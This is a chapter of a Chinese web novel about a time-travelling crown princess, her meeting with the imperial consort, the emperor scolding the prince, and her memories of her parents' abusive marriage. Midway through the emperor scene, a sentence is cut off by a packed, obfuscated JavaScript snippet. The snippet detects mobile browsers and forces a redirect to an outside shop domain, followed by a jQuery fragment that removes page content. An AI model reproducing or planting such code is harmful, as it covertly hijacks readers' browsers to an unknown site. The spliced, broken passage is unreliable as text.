太子梁怀序的母亲,大梁一人之下万人之上的贵妃娘娘姜思晚,住在整座皇宫最精美的“昭华宫”。

    但常书沅一路走来,只觉冷清与虚幻。

    “太子妃,娘娘早已等待多时了。”门口的姜嬷嬷站在台阶上,下巴微微扬起,就那样不卑不亢地注视着迈步而来的常书沅。

    没有问安,没有行礼,只有一种淡淡的、甚至高傲的俯视。

    “让贵妃久等了。”常书沅如此回道,得到了嬷嬷略显诧异地挑眉。

    几人无声步入大殿。抬头,主座上坐着那位冠绝六宫、破格身着正红的贵妃娘娘姜思晚——点翠朱红,指尖金甲虚撑着头,视线甜腻。

    “婆婆不喜?”她的声音自带一股子媚感,丹凤眼微眯,“本宫竟不知晓太子妃还会画画?”

    “也对,毕竟是常家……”她故意拖长了尾音,懒洋洋地换了个姿势靠在椅子上。

    场面一时间有些凝固,常书沅还没有行礼,拜也不是,不拜也不是。

    “行了。”姜思晚直接摆手,“和本宫不用见外。”

    “你写的那几句,是你自己想的吗?”她继续问道,“就《女诫》里面那些内容。”

    “回贵妃,是我自己想的。”常书沅还是借此机会行礼半蹲了下去。

    “这才是夫妻相处之道吗?这才是女子生存之道吗?”姜思晚这两句话有些轻,常书沅听的不是很真切。

    “行了,免礼赐座。”姜思晚不耐烦地再次摆了摆手,姜嬷嬷顺势退下去搬了椅子上来,“现在你倒有几分太子妃的风范,那画册不错,第三册什么时候出?”

    话题跳跃的太快,以至于刚理好裙摆坐下来的常书沅,又站了起来。

    “明日上午第三册……应该可以售卖了?”后半句常书沅有些不太确定,但她昨日熬夜赶工,今日一早就遣人送去书坊,明日应该可以抄印几册出来?

    “哦?可惜了……”姜思晚语气颇为遗憾,不过她话头一转,“下月月初‘万国朝邦’,你从明日开始进宫来帮衬本宫管理宫务,正好让本宫考察你能否接过东宫管理权,毕竟序儿那孩子这几日给我提了好几次。”

    这个人做事总是拐弯抹角的?这是常书沅第一个想法。居然要出门“上班”了,还进入“领导”考察期了?这是常书沅第二个想法。

    “遵旨。”常书沅在姜思晚的示意里坐了回去。

    那还能怎么说?——“雷霆雨露,皆是‘妃’恩”。

    后面贵妃东扯西拉,看上去并不想和常书沅多讲几句,但又一直拉着她讲。

    所以她到底在等什么?常书沅有些疑惑,在心里默默回想着原主的记忆。

    “贵妃娘娘,今晚皇上去淑妃那里了,特此来跟您说一声。”

    临近正午,常书沅终于得到了这条关键信息。

    “传膳吧,太子妃也留下来尝尝特地煨的乳鸽汤。”姜思晚眉目间流露出了几分疲惫。

    “太子妃,你说男人如此冷待,该如何?”

    姜思晚起身,从高座上一步步走下台。

    明明风情万种,明明风华正茂,近四十岁的年纪不显老,嫩如春风二月花,却透露着一股子闷气。

    “不该如何。”常书沅再次站起身来,“男女本独立,非无其不可。您有太子所依,权势加身,宠爱不过次要。”

    “贵妃娘娘,您已因宠爱得他人所不能及。万事万物,阴晴有缺,所求过满,反困自我。”常书沅庆幸自己年少读书,对于语文还是很感兴趣,因此来了大梁,语言还可以融入其中。

    “倘若本宫只求‘此’呢?”姜思晚的步伐停了下来,站在原地注视着常书沅,神色不明。

    面对情情爱爱,常书沅见过太多太多。所以她的答案是:“做您想做的,人生几何,求恣意罢了。”

    “哦?”姜思晚勾了勾唇。

    “贵妃娘娘,唯有‘不可耽兮’。”最后,常书沅低头问安。

    “用膳吧。”姜思晚越过常书沅,在门槛处停了停,没有回头,“今日做的乳鸽汤,不比你在京城那家吃的差。”

    最后的最后,记忆里的刁难都不存在,反而给贵妃偷偷挖了几口“鸡汤”喂给她喝。

    好累……

    一回府常书沅就躺在床上,鞋袜也没有脱。

    “太子妃?”听琴连忙关上门,生怕被人发现常书沅不为人知的一面。

    “听琴啊……”常书沅双手向上,生无可恋,“你家小姐,最讨厌应酬了……”

    *

    “沅沅,你父亲今晚要去应酬,不回来了。”

    “沅沅,你今晚早点睡,无论听到什么都不要出来。”

    “沅沅,我真的很讨厌应酬……”

    小常书沅背着书包回家,写完作业正好出来吃饭。空荡荡的餐桌上,只有小小的她和母亲。

    母亲日常碎碎叨叨,小常书沅似懂非懂。

    “可是妈妈……我听见你在哭也不能出来吗?”那一口米饭,小常书沅怎么也咽不下去。

    “当然。”女人满是麻木,但还是努力露出笑容。

    那是小常书沅第一次发现,笑容不都是甜甜的,不全是高兴的,像现在母亲的笑容挤在脸上,就很难看。

    小常书沅读不懂苦涩,读不懂大人的难过,她只知道,晚上一个人蒙在被子里很闷,听见那些打骂声很可怕。

    “妈妈,你明明过的不高兴,为何还要和爸爸在一起?”有一天小常书沅终于问出了这个问题。

    那时没有得到的答案,在几年以后狠狠击中了她。

    “你爸爸很坏,你以后也会很坏,我赌不起。”

    雾蒙蒙的天气,灰蒙蒙的心情。

    小常书沅后知后觉地认为,自己的母亲其实也很坏,她怎么能这样说,自己以后一定不会这么坏!

    而长大后的常书沅认为,母亲没有错,小时候从此变得冷冷的她也没有错。

    错的是失败的父亲,错的是无能的父亲。

    情爱啊,太迷人眼了。

    常书沅的母亲为了父亲,可以装聋作哑,默默承受;贵妃姜思晚为了皇帝,可以假借虚华,蒙蔽双眼……

    常书沅才不要成为这样的人!

    *

    梁怀序要成为一名合格的储君。

    整整一日,他都被困在御书房里,滴米未沾。

    “你不愿以婚姻作筹码换取利益,现在就落得这个下场?”

    天子震怒,御书房里只剩下父子二人。

    “你给朕好好看看那些奏折是怎么说的!”天子梁咏山将桌上的奏折狠狠砸向跪在地上的梁怀序。

    打歪了梁怀序的头冠,也弄乱了他的衣襟。

    “失德寡恩!”梁咏山气得直喘气,“既然娶回家了,面子上就要过得去,谁许你这般放纵?太子的名声、皇室的颜面还要不要?”

    “是。”梁怀序低着头一动不动,“儿臣有罪。”

    “有罪就完了?”梁咏山的视线冷冷射向他。

    “儿臣定会对太子妃多加关心,不会损伤皇室颜面,造成民间舆论负

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770924|209908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面影响。”

    梁怀序整个人俯身头着地,御书房地砖一直都很凉,凉到幼时的他需要好几天才能让膝盖恢复如初。

    “朕相信太子自有分寸,同时你也要去提醒太子妃,什么能画,什么不能画。”梁咏山在梁怀序走出御书房时,又补充了一句。

    只是梁怀序没有应声,也没有回头。

    他答应了常书沅一切他来解决,现在的态度,就是他的答案。

    回到府上,梁怀序忽然很想见一见常书沅。

    从前娶她,是因为他的父亲、大梁的天子想要收回先帝那枚护身符……

    接着梁怀序就望见了躺在床上、毫无形象、一动不动的常书沅,正盯着床帐发呆。

    “常书沅?”

    只见她一个“鲤鱼打挺”坐起来,瞬间切换平日里“端庄典雅”的贵气。

    “太子?你怎么来了?”常书沅疑惑。

    梁怀序一时间竟然不知道该说什么。

    “今日母妃……”

    “贵妃娘娘怎么了?”常书沅再次疑惑。

    “可有说什么?”梁怀序实在有些不好意思,过去他从不过问这些,偶尔提及,“常书沅”也是摇头不语,他也不再多问。

    而今——“失德寡恩”么?他好像确实没怎么关心常书沅。

    “贵妃娘娘挺好的,一早还煨了乳鸽汤,鲜嫩可口。”常书沅心下了然,他原来是来查岗的,“从明日起,我也要日日进宫帮衬贵妃布置‘万国朝邦’的事务了。”

    梁怀序先是愣了一下,随后点头。

    “孤知道了,若有疑惑,也可来找孤。”

    “多谢太子。”

    这几句说完,两人一时间又无言相对了。

    “还有,孤的私库你还没有去看。”梁怀序咳了几声,“不如现在去?”

    “遵命。”

    常书沅站起来,跟着梁怀序在府上穿梭。

    最后两人停在后院库房前——

    入目山水书画,两侧屏风双面绣与金丝楠木框,后侧还有红珊瑚树,角落里更是堆满了金银珠宝……

    常书沅却只要了墙上挂着的那张狐狸皮毛。

    其实不止大梁的常书沅喜欢,现代的常书沅也喜欢。

    她曾想要成为狡猾的狐狸,能言善辩,以弱胜强;也想要那副“美丽”的皮囊,让母亲能够再次喜欢她。

    她现在不需要这么多理由,她只是想要,也只是想要送给儿时的自己。

    “你只要这个吗?”

    “我只要这个。”

    “好。”

    梁怀序不懂,他以为她的太子妃只是喜欢毛茸茸。

    “我还有其他的毛皮……”

    “殿下,我只想要这个白狐。”

    “好。”

    离开库房,两人就此分别。

    “孤还有一些……”

    “太子,您先去忙吧。”

    不用梁怀序多说什么,常书沅已经了悟。

    她还想要趁着天没黑出去转转呢!

    于是她告别梁怀序,叫上听琴,来一场“说出门就出门”的逛街!

    结果还没下马车呢,就瞧见晚集那边人满为患。

    “停车!”

    “小姐?”

    常书沅才不管那么多,提着裙摆就往集市跑——吃瓜才是人类的天性。

    可是她并没有吃到瓜,反而发觉自己身上长了瓜。

    集市高台上挂了一张横幅,自己的名字赫然居上——太子与太子妃的三两事。